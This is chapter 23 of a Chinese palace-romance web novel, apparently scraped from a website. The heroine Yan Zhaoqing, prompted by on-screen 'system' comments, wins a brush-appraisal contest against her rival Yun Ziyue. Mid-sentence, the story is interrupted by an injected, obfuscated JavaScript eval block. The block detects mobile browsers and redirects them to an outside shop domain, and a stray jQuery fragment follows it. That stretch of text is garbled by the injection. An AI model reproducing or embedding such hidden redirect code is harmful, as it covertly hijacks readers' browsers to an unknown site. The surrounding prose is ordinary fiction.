23. 比试争夺,引以为傲
    收起“利爪尖牙”阮时凉一秒又变回了那位乖巧懂事的表妹,她贴近晏昭清,似有似无的炫耀,“表姐,你别生气,刚刚我就是听信了旁人的蠢话,你别不理我。”

    “近日我绣制的绣品有好几个京城店家求取,可我对京城中的衣裳布匹店不怎么了解,表姐,我知道你经常采买衣裳,可是能帮我看看那几个绣样?”

    随着阮时凉的动作晏昭清整个人身体僵直,视线对上阮时凉都不免退缩,她喃喃道,“表妹,我的衣裳均是李嬷嬷让裁缝师傅来量尺寸,然后定做的,我对城中衣裳布匹店并不了解,绣样更是一无所知。”

    才刁难完她一下子就能有如此变化?晏昭清感到匪夷所思,却还是懵懵问了一句,“表妹,你是亲自去城中采买衣裳?”

    晏昭清被柳姨娘关了这么久,对城外十分向往,不然当日也不能被人哄骗出城,她的语调有些羡慕,“真好,我也想自己去采买衣裳,可惜柳姨不准。”

    阮时凉闻言面色一变,她原本是想借着女红绣品羞辱晏昭清这个草包,没想到折辱的却是自己。

    这会儿阮时凉安静了,不再朝她说话,手也撒开了。

    【阮时凉太小心眼了,自己去买衣裳又没什么,偏偏她觉得晏昭清是在辱她享不了荣华,自找麻烦。】

    【谢邀,但凡晏昭清有这么聪明就好了……】

    【你自求多福,她又记恨上你了。】

    【远离云子月-18%完成度。】

    晏昭清愣神,怎么完成度还会倒退?她心中满是悔恨,早知如此就不多嘴了,她真的不想那般惨死啊!

    晏昭清异常想挽救这次失败的谈话,可阮时凉不再言语令她无计可施。

    怎么办,怎么办!晏昭清迅速将目光投向云子月,求你,真求求你!

    只见云子月忽而发笑,语调惋惜,“若我是那无才情,无学识的女子,便会羞于见人,躲在家宅中闭门不出,昭清妹妹,你说呢?”

    面对直指她愚笨草包的言论,此刻晏昭清如临甘露,心满意足,只见她双手揉搓,红嫩的指尖微微弯曲,“我没有什么想法,你们嫌我草包,我说出口的的话不算什么。”

    云子月冷哼,似是赞同,“自然,妹妹若是有真才实学,想来说出口的话也能有旁人用心聆听。”

    “昭清!你和她们两个客气什么?”温小侯爷一脸嫌弃,“你们到底来干嘛的?”

    晏昭清心生怯意,感到窘迫,甚至想阻拦温溪。

    【远离云子月-15%完成度。】

    晏昭清她动作一顿,似乎想明白了什么。难道这个任务是反向的?

    她感到畏惧,预备临阵脱逃,完成度就开始后退。

    只一瞬,晏昭清想起了晏国公府请来教她妇德的老教御,是一名女子。

    老教御曾失神站在窗前,望着园中红梅叹过,“世间女子如窗前凝润的梅花,纵使无数人想教它规矩,让它识趣,但它仍诞有自身孤傲。”

    她那时读不懂,只当教御是有感而发。而现在,晏昭清心中恰然顿悟,不是孤傲,而是勇气,曾几何时她也想自己同那记忆中鲜润如血的梅花一般漂亮,却一次次退缩不前。

    定安将军十岁就上了疆场,他连尸横遍野的可怖场景都不怕,面对眼前两个人面兽心的家伙,她也不怕!左不过一个死字。

    晏昭清白皙的手摸上腰间香囊,脑海中浮现扇寻叙贴近她说的那句别怕,格外安心。

    晏昭清抬头,对上云子月视线,她眼中清明一片,“你张口闭口骂我是草包,不如我们来比一场吧!”

    她倒要看看,她有哪些地方比不上,哪里不足,若是有她也不嫌丢脸,努力学习,补上去就是。

    【远离云子月-21%完成度。】

    【??】满屏问号。

    【我凑,脑子上线了?】

    云子月愣了一瞬,眼露轻蔑,这废物莫不是疯了,居然有胆量和她比试,她当自己是多才多艺的能人了?可笑。

    “表姐,输了丢脸……”阮时凉假模假样捂着脸,劝她。

    “你们倒是一唱一喝,有什么了不起的,有厉害本事就和昭清比一比,谁输谁赢还不一定呢。”温溪才不管其他的,她对晏昭清就是无条件的信任和支持。

    “我同你比,”云子月冷笑,她不会放过如此好羞辱晏昭清的机会,“说吧,你要比什么。”

    晏昭清哪里知道,她什么都没学呢,眨了眨眼,开始思考该选哪个功课比,诗词?她没底气,女红?她连穿针引线都做不到更别提刺绣,骑射?她还没骑过马呢。

    云子月却当她的沉默是无言挑衅,她走过来,利落抽走晏昭清书囊中的一本书,“比这个如何?”是那本关于毛笔的书。

    “咱们比毛笔鉴赏,它本就是初入学堂该诵读的书籍,而今让人择选出十支笔,我们在到其中选出最好的一支,选中则为胜。”

    晏昭清则是有些懵,“不然你再犹豫一下?”

    这书她可背了快一小半。

    云子月随口回,“不必,赢你这废物,轻而易举。”

    字幕刷新:

    【哟,这么牛呢?】

    【笑死,怎么会有人正好压对题啊!】

    于是在几人的见证下,比试开始了。

    铺在桌面上的毛笔有十支,均是兔毫,形状大小相差无几,她们需要挑选出各自觉得最好的一支。

    云子月本就不将晏昭清放在眼里,应对比试也并不上心,选笔随意一瞥,然后拿出左列第二支。

    她选完再看过去见晏昭清正弯腰仔细观看笔尖上的断毛,云子月眉毛一挑,心道果然是废物,观笔光会选笔豪漂亮的。

    不像晏昭清,她选的那支笔可是用了漆红,雕工精湛,其他的笔同它放在一起都不过是垃圾。

    云子月轻快语调,挑衅道,“昭清妹妹尚未入学堂,许是要花费大把时间,可还需要我再等等你?”

    晏昭清手里拿着两支笔,她有些拿不定主意。

    她尝试握了握笔杆,发现其中一支笔杆微滑,似乎是经过别人使用过的旧笔,这些小细节也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758110|145519||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    能提现毛笔的使用,损坏程度,于是她选定了另外一支。

    “不必,我选好了。”晏昭清选的是右列倒数第四支笔。

    笔是阮时凉,温溪在学堂内借的,各色不一,答案统一放在张意慈手里,由她宣布胜负,已示公正。

    在张意慈打开信纸的那一刻,脸上满是不可思议,她惊呼道,“右四!美人胜!”

    字幕气氛组上线:

    【!】

    【!!】

    【!!!】

    温溪欢呼,“啊,是昭清赢了!”

    “不可能!”云子月怒意十足,她夺过张意慈手中信纸观看,上面确实是明明白白的写着右四……

    她一直以来引以为傲的才能遭遇滑铁卢,云子月气疯了。

    “定是你做了手脚!”她怎么会输给一个草包?!绝无这种可能!

    晏昭清皱眉,“怎么不可能,就许你赢?”

    扇寻叙牵着马来的学堂后院马厩的时候,并未想到自己会撞见这幅疯狂场景。

    云子月推走毛笔,掀倒了木桌,对着晏昭清大骂,“你这草包定是作弊!!!”

    吓得晏昭清一抖,没有再说话。

    扇寻续蹙眉,为何吓她?本就是柔柔弱弱的娃娃别给她唬哭了,手中的缰绳不自觉握紧,眸光暗了几分,而后自马儿的侧包里取出了一个帷帽,戴了上去。

    后院另外一侧,马厩内,因不放心自己的马匹,晏明灿正亲自撅着屁股搬草料喂马,谁曾想云子月的声音惊扰到了马,害他差点被马踢了。

    “谁呀,嗓门这么大!”晏明灿骂骂咧咧的走出来,想起来后院和妹妹待在一起的均是女子,不情愿的翻出来一个帷帽戴上。

    怕了怕了,遮一遮好,虽说没有男儿郎怕在外面抛头露面的,但最近这世道,不得不防呀!

    近日京城闹了个好大的笑话,有一贵女钟情当朝二皇子,听说是天天蛰伏在二皇子凌念恒的必经之路上,若是说没遇上就算了,偏偏遇上了,还出了事。

    据说那贵女手段厉害,撞见二皇子的一瞬间就将自己脑袋上的帷帽摘下,然后扯松自己的衣裳,放声大哭,说二皇子见了她的容貌,瞧了她的身子,不能不娶她!

    经此一事,城中未婚男子均是人心惶惶,生怕遇上同款。

    但晏明灿倒是觉得这则坊间传言是在放屁,那二皇子是个沉迷烟花柳巷的家伙,怎么可能有大家闺秀如此失分寸,非要贴上他?

    “要我说就是二皇子他看上了那位贵女,用女子清白名节施压,明抢!”

    他本不屑戴帷帽,可脑海中猛地冲进来几句云子月唤的几句“明灿哥哥”,激得他起了一身鸡皮疙瘩,犯恶心,让他不得不认真些。

    “害人,户部侍郎家千金也不知道吃错了什么药,一瞧见我,喊我这么亲密做什么!”晏明灿叹气,听一次哆嗦一次,“比坊间厉鬼还吓人。”

    远处,无视云子月的喊叫,疯狂,扇寻叙视若无睹的走了过来。

    他扶起那张木桌问晏昭清,“怎么了?”